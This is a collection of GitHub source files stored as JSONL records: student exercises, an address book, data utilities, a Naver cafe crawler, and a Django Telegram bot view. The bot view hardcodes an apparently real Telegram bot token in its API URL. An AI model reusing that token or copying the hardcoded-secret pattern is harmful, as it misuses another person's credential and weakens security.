\"Maxtla\", \n \"Nezahualcoyotl\", \"Netzahualpilli\", \"Cacamatzin\", \"Moquihuix\", \n \"Totoquihuatzin\", \"Ixtlilxochitl\", \"Juan de Oñate\"]\nrelatives_sorted = sorted(relatives, reverse=True)\nzad9 = number % 4\nrelatives_sorted[zad9] = tlatoque[number]\nprint(\"9.Отредактированный список родственников:\", relatives_sorted)\n\n# 10 zad10\nzad10 = {}\nfor i in range(len(relatives)):\n zad10[relatives[i]] = relatives[(i+1)%len(relatives)]\nprint(\"10.\", zad10)\n# 11 функция генетратор\n\nmy_name = [\"ДзиневскийСиепанОлегович\"]\nprint (\"My number: \", len(my_name) * len (relatives) % 4)\n\ndef zad11(x, y):\n sum = 0\n if x == y:\n print(x)\n if x == 1:\n print(0)\n return 0\n else:\n for i in range(1, x):\n if x % i==0:\n sum += i\n print(sum)\n return zad11(sum, x)\nz = int(input(\"Введите число: \"))\nprint(\"Аликвотная последовательность числа\", z, \":\")\nzad11(z, z)\n","repo_name":"kit8nino/2023-python","sub_path":"ИС-33/Дзиневский Степан Олегович/lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":4042,"program_lang":"python","lang":"ru","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"10144828116","text":"'''\n주소록 프로그램 미니프로젝트\n함수와 제어문만을 이용한 주소록 프로그램\n'''\n# 주소록을 저장할 리스트 전역변수\n# addrList.append(data_value)\naddrList = [\n {\"idx\": 0, \"name\": 'HONG', \"phone\": '010-111-111', \"addr\": '서울시 마포구'},\n {\"idx\": 1, \"name\": 'KIM', \"phone\": '010-111-111', \"addr\": '서울시 마포구'},\n {\"idx\": 2, \"name\": 'LEE', \"phone\": '010-111-111', \"addr\": '서울시 마포구'}\n]\nidx = 2;\n\n\n# 메뉴 함수 선언\ndef menu():\n print(\"1.입력 2.출력 3.검색 4.수정 5.삭제 6.종료\")\n no = int(input(\"선택>>> \"))\n return no\n\n\n# 기능별 함수 선언\ndef mkData():\n # 성명, 전화번호, 주소를 입력받아서 돌려주는 함수\n global idx\n idx += 1\n name = input(\"성명입력>>> \")\n phone = input(\"전화번호입력>>> \")\n addr = input(\"주소입력>>> \")\n\n return {\"idx\": idx, \"name\": name, \"phone\": phone, \"addr\": addr}\n\n\ndef inputData():\n print(\"#### 입력 기능 ####\")\n # 입력 기능을 구현 해 보세요.\n data_value = mkData()\n addrList.append(data_value)\n print(\"데이터 입력 성공!\")\n\n\ndef outputData():\n print(\"#### 출력 기능 ####\")\n for person in addrList:\n print(\"{: ^3}|{: ^6}|{: ^13}|{: ^9}\".format(person[\"idx\"], person[\"name\"], person[\"phone\"], person[\"addr\"]))\n\n\ndef find_idx(addrList, idx=None, name=None):\n flag = 0\n if name != None:\n flag = 1\n\n for i, person in enumerate(addrList):\n if flag == 0:\n if person[\"idx\"] == idx:\n return i\n else:\n if person[\"name\"] == name:\n return i\n\n # for문 밖으로 나온것은 대상이 없다는 의미\n return -1\n\n\ndef searchData():\n print(\"#### 검색 기능 ####\")\n searchName = input(\"검색 할 이름을 입력하세요 : \")\n index = find_idx(addrList, name=searchName)\n person = addrList[index]\n print(\"{: ^3}|{: ^6}|{: ^13}|{: ^9}\".format(person[\"idx\"], person[\"name\"], person[\"phone\"], person[\"addr\"]))\n\n\ndef modifyData():\n print(\"#### 수정 기능 ####\")\n # 목록에서 수정 할 번호를 선택한다.\n modify_no = int(input(\"수정 할 번호 입력>>> \"))\n index = find_idx(addrList, idx=modify_no)\n # 리스트의 범위 보다 초과된 값이 입력되면 다시 입력 받도록 한다.\n while (modify_no < 0 or modify_no > len(addrList)-1):\n print(\"입력 범위를 초과 했습니다!\")\n modify_no = int(input(\"수정 할 번호 입력>>> \"))\n \n if index != -1:\n # 성명, 전화번호, 주소 중에 수정 할 항목을 선택 한다.\n print(\"\\n수정 할 항목을 입력 하세요.\")\n print(\"1.성명 2.전화번호 3.주소 4.모두\")\n modify_select = int(input(\"선택>>> \"))\n if (modify_select == 1):\n addrList[index][\"name\"] = input(\"새 이릅 입력>>> \")\n elif (modify_select == 2):\n addrList[index][\"phone\"] = input(\"새 전화번호 입력>>> \")\n elif (modify_select == 3):\n addrList[index][\"addr\"] = input(\"새 주소 입력>>> \")\n elif (modify_select == 4):\n # 성명, 전화번호, 주소를 한꺼번에 수정 하는 메뉴\n addrList[index][\"name\"] = input(\"새 이릅 입력>>> \")\n addrList[index][\"phone\"] = input(\"새 전화번호 입력>>> \")\n addrList[index][\"addr\"] = input(\"새 주소 입력>>> \")\n else:\n print(\"선택 항목이 없습니다!\")\n\ndef deleteData():\n print(\"#### 삭제 기능 ####\")\n # del addrList[1]\n del_idx = int(input(\"삭제 할 번호를 입력 하세요 : \"))\n index = find_idx(addrList, idx=del_idx)\n if index != -1:\n del addrList[index]\n print(\"삭제 성공!\")\n else:\n print(\"삭제 할 대상이 없습니다!\")\n\nfactory = [inputData, outputData, searchData, modifyData, deleteData]\n\ndef run(no):\n print(\"{}번이 선택되었습니다!\".format(no))\n if no == 6:\n print(\"#### 종료 ####\")\n exit(0)\n\n if no in range(1,len(factory)+1) :\n factory[no-1]()\n else :\n print(\"해당 사항 없슴\");\n\n\n# 메인함수 선언\ndef main():\n while True:\n print(\"{:=^40}\".format(\" 주소록 \"))\n no = menu();\n\n run(no)\n print(\"\\n\")\n\n\nif __name__ == '__main__':\n main()","repo_name":"comstudy21joon/python","sub_path":"ch06_function/ch06ex16_phoneBook.py","file_name":"ch06ex16_phoneBook.py","file_ext":"py","file_size_in_byte":4359,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34279666823","text":"import argparse\nimport numpy as np\nimport pandas as pd\n\n\ndef make_table(df):\n def round_to_n(x, n): return np.round(\n x, -int(np.floor(np.log10(x))) + (n - 1)) # Rounds to sig figs\n alpha_set = {\" \".join(f'{str(i)},' for i in df.alpha.unique())}\n table = \"\"\n table += \"\\\\begin{table}[t] \\n\"\n table += \"\\\\centering \\n\"\n table += \"\\\\small \\n\"\n table += \"\\\\begin{tabular}{lccccccccccc} \\n\"\n table += \"\\\\toprule \\n\"\n table += \"Model & Avg. length & Coverage & $ \\\\alpha$ \\\\\\\\ \\n\"\n table += \"\\\\midrule \\n\"\n for model in df.Model.unique():\n for alpha in df.alpha.unique():\n df_model = df[df.Model == model]\n table += f\"\\\\verb|{model}| & \"\n table += str(round_to_n(\n df_model.Length[df_model.alpha == alpha].item(), 3)) + \" & \"\n table += str(round_to_n(df_model[\"Coverage\"]\n [df_model.alpha == alpha].item(), 3)) + \" & \"\n table += str(round_to_n(\n df_model.alpha[df_model.alpha == alpha].item(), 3)) + \" \\\\\\\\ \\n\"\n\n table += \"\\\\bottomrule \\n\"\n table += \"\\\\end{tabular} \\n\"\n table += \"\\\\caption{\\\\textbf{Results on Amazon Stock Price dataset.} We report the prediction interval length and the coverage for $\\\\alpha \\in \\{ 0.2, 0.1, 0.05 \\}$ for a conformalized LSTM model.} \\n\"\n table += \"\\\\label{table:amazon_stock_price.1} \\n\"\n table += \"\\\\end{table} \\n\"\n return table\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Exeriment arguments\")\n parser.add_argument(\"--dataset\", default=\"AMZN\")\n parser.add_argument(\"--model\", default=\"LSTM_AMZN\")\n args = parser.parse_args()\n modelname = args.model\n datasetname = args.dataset\n try:\n cache_fname = f\".cache/time_series_conformal_prediction_{datasetname}_{modelname}.csv\"\n df = pd.read_csv(cache_fname)\n table_str = make_table(df)\n table = open(\n f\"reports/tables/time_series_conformal_prediction_{modelname}_table\".replace('.', '_') + \".tex\", 'w')\n table.write(table_str)\n table.close()\n except:\n print(\n f\"No cashed result found for {datasetname}!\")\n print(f\"Refer to README.md to run the experiment and produce the results\")\n","repo_name":"abdualrhman/uncertainty-quantification_for_deep_learning","sub_path":"src/visualization/time_series_conformal_prediction_table.py","file_name":"time_series_conformal_prediction_table.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"35467145803","text":"import os\nimport sys\nfrom influxdb import InfluxDBClient\nfrom influxdb import DataFrameClient\nfrom pandas import DataFrame\n\nclass influx_handler:\n\n def __init__(self, influxDBHost=None):\n\n if influxDBHost is None:\n self.influxDBHost = os.getenv(\"INFLUXDB_SERVICE_HOST\") or \"localhost\"\n else:\n self.influxDBHost = influxDBHost\n\n self.ReadClient = DataFrameClient(self.influxDBHost, 8086, 'root', 'root', 'thingsIODB')\n\n\n def getDatafromUUID(self, API_KEY):\n q = 'SELECT * FROM \\\"'+ API_KEY +'\\\" ;'\n result = self.ReadClient.query(q)\n try:\n df = result[API_KEY]\n except KeyError:\n return DataFrame()\n # print(result, file=sys.stderr)\n return df","repo_name":"sanskarkatiyar/thingsIO","sub_path":"dashboard/dashr/tools/influx_handler.py","file_name":"influx_handler.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73138220993","text":"import requests\nimport os \nfrom urllib.parse import quote\ncache_folder='htmls_descargados'\nos.makedirs(cache_folder,exist_ok=True)\n\ndef get_using_cache(url):\n name = quote(url, '')\n f_name = \"{0}.html\".format(name)\n path_html = os.path.join(cache_folder,f_name)\n \n if os.path.exists(path_html): # Si estaba abrir el archivo simplemente\n \n print(\"Reutilizando {0}\".format(url))\n with open(path_html,'r') as f:\n out=f.read()\n return out\n else: # Si no estaba conseguir y escribir a disco\n print(\"Url: {0} no encontrada realizando GET\".format(url))\n contenido = requests.get(url).text\n with open(path_html,'w') as f:\n f.write(contenido)\n\n return contenido\n","repo_name":"aferral/proyecto_senado","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"14801296252","text":"import shutil\nfrom os import listdir\nfrom time import time\nfrom win32api import MessageBox\n\nclass DataBase:\n\tdef __init__(self, new=True):\n\t\t\n\t\tself.deltaR = 0.05 #distancia minima entre dois pontos em metros\n\t\tself.i = 0\n\t\tself.initTime = time()\n\t\tself.fail = False\n\t\t\n\t\tpercursos = listdir('../percursos')\n\t\tid = -1\n\t\tfor p in percursos:\n\t\t\tif (p != \"backup.csv\"):\n\t\t\t\tif (int(p.split('.csv')[0]) > id):\n\t\t\t\t\tid = int(p.split('.csv')[0])\n\t\tif new:\n\t\t\tid += 1\t\t\n\t\t\t\n\t\t#SE O ID NAO EXISTE\n\t\tif new or id == -1:\n\t\t\n\t\t\tif id == -1:\n\t\t\t\tid = 0\n\n\t\t\tself.fileName = \"../percursos/\"+ str(id) + \".csv\"\n\n\t\t\t\t\n\t\t\tself.id = id\n\t\t\t\n\t\t\tself.x = 0\n\t\t\tself.y = 0\n\t\t\tself.z = 0\n\t\t\tself.t = 0\n\t\t\n\t\t\tself.alpha = 90\n\t\t\tself.dist = 0\n\t\t\t\n\t\t\tself.csvFile = open(self.fileName, 'x', newline = '')\n\t\t\tself.csvFile.write(';'.join(['t', 'x', 'y', 'z', 'alpha', 'dist', 'Flag'])+\"\\n\")\n\t\t\tself.csvFile.write(';'.join(str(elem) for elem in [0, self.x, self.y, self.z, self.alpha, self.dist, \"init\"])+\"\\n\")\n\t\t\t\n\t\t\t\t\n\t\t#SE O ID EXISTE\n\t\telse:\t\t\n\t\t\tself.id = id\n\t\t\t\n\t\t\tself.fileName = \"../percursos/\"+ str(id) + \".csv\"\n\t\t\ttry:\n\t\t\t\tself.csvFile = open(self.fileName, 'a', newline = '')\n\t\t\texcept:\n\t\t\t\tMessageBox(0, 'Feche o arquivo csv', 'Error')\n\t\t\t\tself.fail = True\n\t\t\t\treturn\n\t\t\t\t\n\t\t\tp = self.params()\n\t\t\t\n\t\t\tself.id = id\n\t\t\tself.t = p[0]\n\t\t\tself.x = p[1]\n\t\t\tself.y = p[2]\n\t\t\tself.z = p[3]\n\t\t\tself.alpha = p[4]\n\t\t\tself.dist = p[5]\n\t\t\tself.csvFile.write(';'.join(str(elem).replace('.', ',') for elem in [0, self.x, self.y, self.z, self.alpha, self.dist, \"init\"])+\"\\n\")\n\t\t\t\t\t\n\tdef params(self):\n\t\t\n\t\tperc = []\n\t\t\n\t\tself.csvFile.close()\n\t\n\t\tprint(self.fileName)\n\t\n\t\twith open(self.fileName, 'r') as percurso:\n\t\t\trow = percurso.readline().split(\";\") #header\n\t\t\t\n\t\t\tfor row in percurso:\n\t\t\t\trow = row[:-1].split(\";\") #tirando o \\n\n\t\t\t\tx = round(float(row[1].replace(',', '.')),3)\n\t\t\t\ty = round(float(row[2].replace(',', '.')),3)\n\t\t\t\tz = round(float(row[3].replace(',', '.')),3)\n\t\t\t\talpha = round(float(row[4].replace(',', '.')),3)\n\t\t\t\tdist = round(float(row[5].replace(',', '.')),3)\n\t\t\t\tflag = row[6]\n\t\t\t\tperc.append((x,y,flag))\n\t\t\t\t\n\t\t#if not(perc):\n\t\t#\tperc = [(0,0,\"init\")]\n\n\t\tself.csvFile = open(self.fileName, 'a', newline = '')\n\t\t\t\t\t\t\t\n\t\treturn (self.id, x, y, z, alpha, dist, perc)\n\t\n\tdef save (self,state):\n\t\tt = time() - self.initTime\n\t\tx = state.state['x0']\n\t\ty = state.state['y0']\n\t\tz = state.state['z0']\n\t\talpha = state.state['alpha']\n\t\tdist = state.state['distance']\n\t\tflag = state.state['flag']\n\t\t\n\t\n\t\tif (((self.x-x)**2 + (self.y-y)**2 + (self.z-z)**2 > self.deltaR**2) or flag):\n\t\t\t\n\t\t\tself.csvFile.write(';'.join(replaceDot2Comma([t,x,y,z,alpha,dist,str(flag)]))+\"\\n\")\n\t\t\t\t\t\t\n\t\t\tself.t = t\n\t\t\tself.x = x\n\t\t\tself.y = y\n\t\t\tself.z = z\n\t\t\t\n\t\t\tself.alpha = alpha\n\t\t\tself.dist = dist\n\t\t\t\n\t\t\tself.i += 1\n\t\t\tif self.i%20 == 0:\n\t\t\t\tself.backup()\n\t\t\t\t\n\t\t\tstate.state['perc'].append((self.x,self.y,flag))\n\t\t\t\n\t\treturn state\n\t\t\n\t\n\tdef backup(self):\n\t\t#fecha o csv, copia e reabre.\n\t\n\t\tself.csvFile.close()\n\t\ttry:\n\t\t\tshutil.copyfile(self.fileName, '../percursos/backup.csv') \n\t\texcept:\n\t\t\tMessageBox(0, 'Feche o arquivo backup.csv\\n(Não foi possível realizar o backup)', 'Error')\n\t\tself.csvFile = open(self.fileName, 'a', newline='')\n\t\t\n\tdef close(self):\n\t\tself.csvFile.close()\n\t\t\n#Convete \".\" para \",\" nos floats para que o excel consiga plotar os gráficos \ndef replaceDot2Comma(row):\n\t\treturn [\n str(el).replace('.', ',') if isinstance(el, float) else el \n for el in row\n\t\t]","repo_name":"roncaroncas/ConcRobo","sub_path":"Python/Zinho/mods/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26293005779","text":"from django.shortcuts import render\n\n# Create your views here.\n\nimport datetime\nimport json\n\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.conf import settings\n\nimport requests\n\nfrom shop import models\n\n\ntelegram_url = 'https://api.telegram.org/bot1711627262:AAGB7zbJFmtNK5aCkzs9jAbI3djdgdxHrNA/{method}'\n\n\n@csrf_exempt\ndef shop(request):\n print('*'*110)\n body_str = request.body.decode('utf-8')\n print(body_str)\n print(type(body_str))\n body_dict = json.loads(body_str)\n print(type(body_dict))\n\n if 'callback_query' in body_dict:\n chat_id = body_dict['callback_query']['message']['chat']['id']\n else:\n chat_id = body_dict['message']['chat']['id']\n\n person = models.Person.objects.filter(chat_id=chat_id).first()\n if person is None and 'message' in body_dict:\n person = models.Person.objects.create(\n first_name=body_dict['message']['from']['first_name'],\n last_name=body_dict['message']['from']['last_name'],\n chat_id=chat_id,\n )\n\n print('chat_id: ', chat_id)\n print('*'*110)\n\n question = 'Ти вже пройшов свій сюжет?'\n answers = []\n\n # if 'message' in body_dict:\n # print(body_dict['message']['text'])\n # if 'photo' in body_dict['message']['text']:\n # url = telegram_url.format(method='sendPhoto')\n # answer = {\n # 'chat_id': chat_id,\n # 'photo': 'AgACAgIAAxkDAAPNYIVWE4kBMHqqXllE8aIOmq4q3rEAAlGzMRuDvShIqzFfEw_bv1q7ipChLgADAQADAgADbQADzXkBAAEfBA',\n # }\n # requests.post(url, json=answer)\n\n\n if 'message' in body_dict and person.last_q_asked is None:\n if '/start' in body_dict['message']['text']:\n question_obj = models.Question.objects.filter(\n request_data='start',\n ).values(\n 'id',\n 'request_data',\n 'q',\n ).first()\n print('question_obj: ', question_obj)\n\n question = question_obj['q']\n answers = make_answers(question_obj['id'])\n person.last_q_asked_id = question_obj['id']\n person.q_plus_a = question\n person.save()\n elif 'message' in body_dict and person.last_q_asked is not None:\n\n if '/start' in body_dict['message']['text']:\n question_obj = models.Question.objects.filter(\n id=person.last_q_asked_id,\n ).values(\n 'id',\n 'request_data',\n 'q',\n ).first()\n\n if question_obj is not None:\n question = question_obj['q']\n answers = make_answers(question_obj['id'])\n print('question_obj: ', question_obj)\n\n elif 'callback_query' in body_dict:\n callback_data = body_dict['callback_query']['data']\n\n answer = models.Answer.objects.filter(\n a_data=callback_data,\n ).values_list(\n 'a',\n flat=True,\n ).first()\n\n if answer is not None:\n print('#'*100)\n print(person.q_plus_a)\n print(type(person.q_plus_a))\n print(answer)\n person.q_plus_a = person.q_plus_a + '---' + answer\n\n question_obj = models.Question.objects.filter(\n request_data=callback_data,\n ).values(\n 'id',\n 'request_data',\n 'q',\n ).first()\n\n if question_obj is not None:\n question = question_obj['q']\n answers = make_answers(question_obj['id'])\n print('question_obj: ', question_obj)\n\n person.q_plus_a = person.q_plus_a + ' | ' + question\n person.last_q_asked_id = question_obj['id']\n\n person.save()\n\n\n\n\n # now = datetime.datetime.now()\n # date_info = \"It is now %s.\" % now\n # question = date_info\n # answers = [\n # {'text': '1', 'callback_data': '123'},\n # {'text': '3', 'callback_data': '444'},\n # ]\n\n url = telegram_url.format(method='sendMessage')\n answer = {\n 'chat_id': chat_id,\n 'text': question,\n 'reply_markup': {\n 'inline_keyboard': [\n answers\n ]\n }\n }\n requests.post(url, json=answer)\n\n return HttpResponse(json.dumps({'date': 'today'}), content_type=\"application/json\")\n","repo_name":"dzhunkovskyi/deccampshopmvp","sub_path":"deccampshop/shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22512931762","text":"#!/usr/bin/python3\n\"\"\"\nFetches the value of X-Request-Id variable from the header of a URL response.\n\"\"\"\n\nimport urllib.request\nimport sys\n\nif __name__ == \"__main__\":\n url = sys.argv[1]\n\n req = urllib.request.Request(url)\n with urllib.request.urlopen(req) as response:\n req_id = response.getheader('X-Request-Id')\n print(req_id)\n","repo_name":"Ibnuxair/alx-higher_level_programming","sub_path":"0x11-python-network_1/1-hbtn_header.py","file_name":"1-hbtn_header.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40470411370","text":"\"\"\"\nFind the last position of a target number in a sorted array. Return -1 if target does not exist.\n\nHave you met this question in a real interview? Yes\nExample\nGiven [1, 2, 2, 4, 5, 5].\n\nFor target = 2, return 2.\n\nFor target = 5, return 5.\n\nFor target = 6, return -1.\n\n\n\"\"\"\n\n\nclass Solution:\n # @param {int[]} A an integer array sorted in ascending order\n # @param {int} target an integer\n # @return {int} an integer\n def lastPosition(self, A, target):\n # Write your code here\n if not A or not target:\n return -1\n n = len(A)\n left, right = 0, n-1\n while left + 1 < right:\n mid = left + (right - left)/2\n if A[mid] <= target:\n left = mid\n else:\n right = mid\n if A[right] == target:\n return right\n if A[left] == target:\n return left\n return -1\n","repo_name":"akb46mayu/Data-Structures-and-Algorithms","sub_path":"LintcodePartI/li458_lastPositionOfTarget.py","file_name":"li458_lastPositionOfTarget.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"19834283497","text":"# coding: utf-8\n\"\"\"\n\nLink: https://leetcode.com/problems/palindrome-linked-list/\n\n\nDescription:\n\nGiven a singly linked list, determine if it is a palindrome.\n\nFollow up:\nCould you do it in O(n) time and O(1) space?\n\n\"\"\"\n\n# 首先,我得理解 palindrome 是什么\n# https://en.wikipedia.org/wiki/Palindrome\n# 理解了,palindrome就是正着读反着读,字母序一样的单词,比如Dad,妈妈,叨逼叨\n# 那么先做一个可用的solution再考虑follow up里的进阶要求吧\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n# 2015-09-10 13:07\n\n# 开始做常数量的空间使用的实现了\n# 我拿自己的脑子想了一下, 唉哟,好难,甚至,在心里说,这用python根本就做不出来嘛。不做了。\n# 之后,我抱着好奇的心态,上Discuss区看了下别人的回答。竟然找到一个牛逼且简洁的算法,并且可以实现空间上的O(1)。\n# https://leetcode.com/discuss/46304/python-understand-solution-comments-operate-nodes-directly\n# 折服了。开眼界了。\n# 算是勉强看懂了作者的实现,自己来做一遍!\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def isPalindrome(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n \"\"\"\n slow = fast = head\n\n # 找到列表的中点\n # 在列表长度为奇数情况下,最终状态slow是中间的节点,fast是结尾的节点。\n # 在列表长度为偶数情况下,最终状况slow是(列表长度/2) + 1的节点,fast是None。\n while fast and fast.next:\n fast = fast.next.next # fast一次走两步。\n slow = slow.next # slow一次走一步。\n current_node = mid_node = slow\n\n # 奇数长度列表的中间节点的值不会影响列表是palindrome与否。\n # 所以我们只需要以第一步得到的中点作为起点,从列表末尾的节点,将next指向反转依次向前指回中点。\n # 再将最后一个节点和第一个节点放一起,并排比较val,如果相同就比较他们的下一个节点值是否相同,一直到最后一对。\n # 但是如何判断最后一对呢?\n # 有一种考虑方法,���将中点的next值设为None. 然后判断比较节点中任意一个的下一节点是None的话,比较循环终止。\n\n # 那么反转指向如何做呢,我们先要找到某个节点的下一个节点,将该节点指回原节点。\n # 同时在指回前,我们需要先要想办法获得下下一个节点。否则逻辑链条就断了!\n\n # 这样中点的next标签往回指的时候,赋值得到None,为第3步的终止比较做准备\n previous_node = None\n while current_node: # 当前节点不为空则一直循环\n next_node = current_node.next # 将next_node的标签变量指向current_node标签变量所指示的对象的的next节点对象\n current_node.next = previous_node # 当前节点对象的next标签变量反向指回previous_node标签变量所指代的对象,即上一个节点对象\n previous_node = current_node # 将previous_node标签变量指向current_node标签变量所指示的节点对象\n current_node = next_node # 将current_node的标签变量指向当前节点的next节点对象\n\n # 上一步while循环终止时,current_node是None了,实际的current_node存放在previous_node变量里\n while previous_node:\n if previous_node.val != head.val:\n return False\n previous_node = previous_node.next\n head = head.next\n return True # 没有出现False的情况下,说明是palindrome, 返回True\n\nclass SolutionAccepted_1(object):\n def isPalindrome(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n\n 21 / 21 test cases passed.\n Status: Accepted\n Runtime: 200 ms\n Submitted: 0 minutes ago\n\n But this isn't O(1) in space.\n \"\"\"\n L = []\n current_node = head\n while True:\n if not current_node:\n break\n L.append(current_node.val)\n current_node = current_node.next\n\n origin_str = ''.join(map(str, L))\n L.reverse()\n reversed_str = ''.join(map(str, L))\n\n return origin_str == reversed_str\n\n\nclass SolutionFailed_1(object):\n def isPalindrome(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n\n Submission Result: Wrong Answer More Details\n\n Input:\n [1,0,0]\n Output:\n true\n Expected:\n false\n\n 错误原因,sorted不是reverse!\n\n \"\"\"\n L = []\n current_node = head\n while True:\n if not current_node:\n break\n L.append(current_node.val)\n current_node = current_node.next\n\n return L == sorted(L, reverse=1)\n","repo_name":"bb2qqq/pythonstudy","sub_path":"tech_lab/algorithm/leetcode/Y234_Palindrome_Linked_List.py","file_name":"Y234_Palindrome_Linked_List.py","file_ext":"py","file_size_in_byte":5237,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71835921154","text":"\"\"\"\nGiven array of integers, find the maximal possible sum of some of its k consecutive elements.\n\nExample\n\nFor inputArray = [2, 3, 5, 1, 6] and k = 2, the output should be\narrayMaxConsecutiveSum(inputArray, k) = 8.\nAll possible sums of 2 consecutive elements are:\n\n2 + 3 = 5;\n3 + 5 = 8;\n5 + 1 = 6;\n1 + 6 = 7.\nThus, the answer is 8.\n\"\"\"\n\n\n# Sliding Window solution, avoids summing subarrays to reduce complexity from O(n^2) to O(n)\ndef arrayMaxConsecutiveSum(inputArray, k):\n total = maxSoFar = sum(inputArray[:k])\n\n for i in range(1, len(inputArray) - k + 1):\n total = total - inputArray[i - 1] + inputArray[i + k - 1]\n maxSoFar = max(total, maxSoFar)\n\n return maxSoFar\n\n# Works, but TLE for VERY large inputs - O(n^2)\n\n\ndef arrayMaxConsecutiveSumTLE(inputArray, k):\n maxSoFar = float('-inf')\n\n for i in range(len(inputArray) - k + 1):\n subArr = inputArray[i:i + k]\n print(subArr)\n maxSoFar = max(maxSoFar, sum(subArr))\n\n return maxSoFar\n\n\n\"\"\" TESTS \"\"\"\narrayMaxConsecutiveSum([2, 3, 5, 1, 6], 3)\n","repo_name":"codeAligned/codingChallenges","sub_path":"CodeFights/arcade/Intro/level8-arrayMaxConsecutiveSum.py","file_name":"level8-arrayMaxConsecutiveSum.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7995152280","text":"import requests\nimport time\nimport uuid\nimport json\nimport csv\nimport datetime\n\nhost = \"https://apis.naver.com/\"\npath = \"cafe-web/cafe2/ArticleListV2.json\"\n\n#유럽여행 정보 카페 \"유랑\"\nclub_id = \"10209062\"\n\nmenu_id = None\nsearch_per_page = 50\ngoal_count = 100\niter_num = round(goal_count/search_per_page)\npage_last_article_id = None\n\n\nfields = ['날짜','글쓴이','제목']\nrows= []\nfor page_num in range(1,iter_num+1): \n args = f\"search.club_id={club_id}&search.queryType=lastArticle&search.page={page_num}&search.perPage={search_per_page}\"\n if menu_id:\n args+= f\"&search.menu_id={menu_id}\"\n\n print(args)\n\n uri = f\"{host}{path}?{args}\" \n\n if page_last_article_id is not None:\n additonal_args = f\"ad=true&uuid={uuid.uuid4()}&adUnit=MW_CAFE_ARTICLE_LIST_RS&search.page_last_article_id={page_last_article_id}&search.replylistorder=&search.firstArticleInReply=false&lastItemIndex=51&lastAdIndex=34\"\n uri += f'&{additonal_args}'\n\n response = requests.get(uri) \n json_object = json.loads(response.text)\n articles = json_object['message']['result']['articleList'] \n \n if 'item' in articles[0]:\n articles = list(map(lambda x:x['item'],articles))\n\n for i in range(len(articles)-1,0,-1):\n if 'articleId' in articles[i] :\n page_last_article_id = articles[i]['articleId']\n break\n \n for a in articles:\n write_date_timestamp = datetime.datetime.fromtimestamp(a['write_date_timestamp']/1000) if 'write_date_timestamp' in a else '날짜 없음'\n writer_nickname = a['writer_nickname'] if 'writer_nickname' in a else '닉네임 없음'\n subject = a['subject'] if 'subject' in a else '제목 없음'\n row = [write_date_timestamp,writer_nickname,subject] \n rows.append(row)\n\n print(f'success crawling for {page_num}')\n time.sleep(1) \n\nwith open(f'naver-cafe-{club_id}.csv', 'w', newline='\\n') as f:\n write = csv.writer(f) \n write.writerow(fields)\n write.writerows(rows)\n \n","repo_name":"ukkoon/sns-crawler","sub_path":"naver-cafe-crawller.py","file_name":"naver-cafe-crawller.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39082546223","text":"#import statements\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n#Visualize 3d data\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nx,y,z=features_3d[:,0:1],features_3d[:,1:2],features_3d[:,2:]\nax.scatter(xs=x,ys=y,zs=z,marker='^')\nax.set_xlabel('Dimension 1')\nax.set_ylabel('Dimension 2')\nax.set_zlabel('Dimension 3')\nplt.show()\n\n#train the PCA model\nmodel=PCA(n_components=2)\nmodel.fit(features_3d)\nfeatures_2d=model.transform(features_3d)\n\n#Visualize 2d data\nx,y=features_2d[:,0:1],features_2d[:,1:2]\nplt.scatter(x,y,color='b',marker='^')\nplt.show()\n","repo_name":"srinidhi151/Book","sub_path":"Part 2/Chapter 11/PCA_visualization_in_python(Listing_9).py","file_name":"PCA_visualization_in_python(Listing_9).py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"23255250648","text":"\"\"\"\nExercise 4, Sherpa\n\"\"\"\n\n## load the recently re-binned data\nload_pha(1, \"fpma_60ks_bmin1.pha\")\nignore_id(1, \"0.:3.,78.:\")\n\n## set the x-axis to energy units and the y-axis to count rate\nset_analysis(1, \"ener\", \"rate\")\n\n## make sure we are using W-statistics (aka modified C-statistics)\nset_stat(\"wstat\")\n\n## we use TBabs, so set the abundances accordingly\nset_xsabund(\"wilm\")\n\n## define model1\nmodel1 = xstbabs.nhgal*xszpowerlw.mypow\n\n## set the column density along the line-of-sight purely from the 